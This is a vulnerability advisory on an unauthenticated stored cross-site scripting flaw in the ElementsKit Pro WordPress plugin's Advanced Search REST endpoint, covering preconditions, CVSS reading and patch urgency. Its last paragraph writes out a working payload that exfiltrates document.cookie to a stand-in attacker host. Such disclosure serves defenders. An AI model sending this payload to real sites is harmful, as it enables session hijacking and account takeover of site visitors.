ElementsKit Pro EUVD-2026-67564

The target site must have ElementsKit Pro version 4.10.1 or earlier installed and activated, and the Advanced Search widget must be placed on at least one publicly accessible page. The WordPress REST API must not be globally disabled (a non-default hardening measure). For the injected payload to execute against victims, end-users must visit a page containing the Advanced Search widget and reach the 'no results' display state - an attacker can manufacture this condition for other users by ensuring the poisoned search term is stored as a popular keyword. No authentication is required at any stage of the injection phase; the REST endpoint explicitly grants access to all callers via permission_callback => __return_true. Sites that have ElementsKit Pro installed but do not use the Advanced Search widget on any public page are not exposed to the stored-rendering step, though the endpoint will still accept and persist injected input.

The provided CVSS 6.1 vector (AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N) is technically accurate but understates operational risk in several ways. The UI:R requirement - a victim must trigger the no-results view - is not a strong mitigation here because the same unauthenticated attacker who injects the payload can engineer no-results conditions by submitting rare search queries, collapsing the gap between injection and triggering. The S:C (scope change) metric correctly reflects that XSS crosses the trust boundary from the server-side plugin into the victim's browser session, enabling session hijacking or credential theft beyond the WordPress installation itself. No EPSS score was provided in the source data, and this CVE is not listed in the CISA KEV catalog, so no confirmed active exploitation exists. The absence of a KEV listing combined with no publicly identified POC places this in a lower-urgency tier for mass exploitation, but the zero-authentication write vector means automated scanning tools could poison sites at scale before patches are applied. The attack is fully automatable at the injection phase, requiring only a single unauthenticated HTTP request - any site running the widget and exposed to internet traffic should treat this as a priority patch item regardless of organization size.

An unauthenticated attacker sends a single HTTP POST request to /wp-json/elementskit/v1/advanced-search with a crafted search term such as nonexistent" onmouseover="fetch('https://attacker.example/c?c='+document.cookie) - the double quote escapes the HTML attribute, injecting an event handler. Because the endpoint requires no authentication and the sanitizer permits double quotes, the payload is written to the site-wide WordPress options table and subsequently rendered into the Advanced Search widget's 'no results' HTML output. Every visitor who encounters the no-results state - which the attacker can reliably trigger for other users by ensuring the poisoned term is promoted as a popular keyword - executes the script, exposing session cookies and enabling account takeover.